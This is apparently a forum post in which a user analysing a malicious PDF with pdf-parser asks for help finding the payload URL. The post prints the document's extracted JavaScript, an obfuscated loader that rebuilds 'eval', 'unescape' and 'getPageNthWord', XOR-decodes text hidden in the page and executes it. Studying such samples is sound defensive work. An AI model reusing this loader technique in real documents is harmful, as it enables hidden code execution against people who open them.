Hi,
Attached is a PDF file and i tried to decode it using pdf-parser. I was not able to find out the URL of the payload. please could some one help me on this.
http://jsunpack.jeek.org/dec/go?report=a63ed320cbc6b56496e1348793778864ff6f189fI have done my decoding upto this level
>pdf-parser.py --object 11 --raw --filter a.pdf
var mailSend = String ; var sdsdf = 1 ; var foxit = "" ; var check = 101 ; var d = [ "ev" , "" , "al" ]; v = new String ( d [ 0 ] + d [ 2 ] + d [ 1 ] ) ; var unlock = [ "p" , "p" , "" , "a" ]; checkArray = new String ( unlock [ 3 ] + unlock [ 0 ] + unlock [ 0 ] + unlock [ 2 ] ) ; var dsjkgAdobe = new String("DEYfrom".substr(3)+"Char"+"CodePxvj".substr(0,4)) ; var window = "IRScharC".substr(3)+"odeAt" ; var sdrt = "unes"+"cape" ; var dA = new String("getP"+"ageN"+"umWo"+"rds") ; var mailD = "8jKgetP".substr(3)+"zU6ageN".substr(3)+"thWo"+"rdMPLH".substr(0,2) ; function b ( unlockA , sdfjhD ) { return unlockA ^ sdfjhD ; } var google = "7wqsubst".substr(3)+"5bBrbB5".substr(3,1) ; var sdftuf = 0 ; var bSdfj = new String("%irFT".substr(0,1)) ; var emailSdrt = 2 ; var checkArray = this [ checkArray ] ; var dDsjkg = this [ dA ] ( sdsdf ) ; var cFoxit = this [ v ] ; var sdsdfU = this [ sdrt ] ; for ( var sdB = sdftuf ; sdB < dDsjkg ; sdB++ ) { dDs = this [ mailD ] ( sdsdf , sdB ) ; var uSend = dDs [ google ] ( dDs . length - emailSdrt , emailSdrt ) ; var checkArraySdftuf = bSdfj + uSend ; var googleC = sdsdfU ( checkArraySdftuf ) ; var dsCheck = googleC [ window ] ( sdftuf ) ; var sdftufGet = b ( dsCheck , check ) ; foxit += mailSend [ dsjkgAdobe ] ( sdftufGet ) ; } cFoxit ( foxit ) ;
I am not sure how to proceed further...
Thanks
MAD